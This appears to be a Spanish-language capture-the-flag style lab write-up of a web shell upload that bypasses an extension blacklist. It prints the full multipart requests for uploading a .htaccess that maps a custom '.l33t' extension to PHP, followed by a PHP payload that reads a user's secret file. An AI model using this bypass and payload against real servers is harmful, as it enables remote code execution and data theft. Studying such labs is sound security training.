Skip to content

Web shell upload via extension blacklist bypass

[20251014004031.png]

[20251014004304.png]

En el sitio web encontramos un apartado para subir una imagen como avatar.

[20251014004320.png]

[20251014004941.png]

[20251014004913.png]

Significa que el servidor no está ejecutando archivos .php.

  • El servidor Apache no ejecuta archivos .php (probablemente bloqueado por seguridad).
  • Necesitamos ejecutar código PHP en el servidor.

Subimos un .htaccess que dice al servidor: "trata archivos .l33t como PHP". Así evitamos que bloquee .php normal.

Pasos:

  1. Crear archivo llamado .htaccess
  2. Contenido: AddType application/x-httpd-php .l33t
  3. Subirlo por el formulario de upload

[20251014005728.png]

c
------geckoformboundaryd8625d8f438199b6b486055342dfb213
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: application/x-php

AddType application/x-httpd-php .l33t

------geckoformboundaryd8625d8f438199b6b486055342dfb213

Content-Disposition: form-data; name="user"
  1. Luego subimos nuestro shell como .l33t en vez de .php

[20251014005955.png]

c
------geckoformboundaryd8625d8f438199b6b486055342dfb213
Content-Disposition: form-data; name="avatar"; filename="secret.l33t"
Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>
------geckoformboundaryd8625d8f438199b6b486055342dfb213

Content-Disposition: form-data; name="user"

wiener

[20251014010128.png]

La línea AddType application/x-httpd-php .l33t funciona porque le dice al servidor Apache que asocie la extensión .l33t con el mismo motor de procesamiento (el intérprete de PHP) que usa normalmente para los archivos .php. El valor application/x-httpd-php no es solo un tipo MIME para identificar el contenido, sino una instrucción directa para Apache que activa su módulo de PHP. Al agregar esta directiva en el archivo .htaccess, estás reconfigurando el servidor para que cualquier archivo con la extensión personalizada .l33t sea interpretado y ejecutado como código PHP, burlando así cualquier restricción que bloquee específicamente la extensión .php tradicional.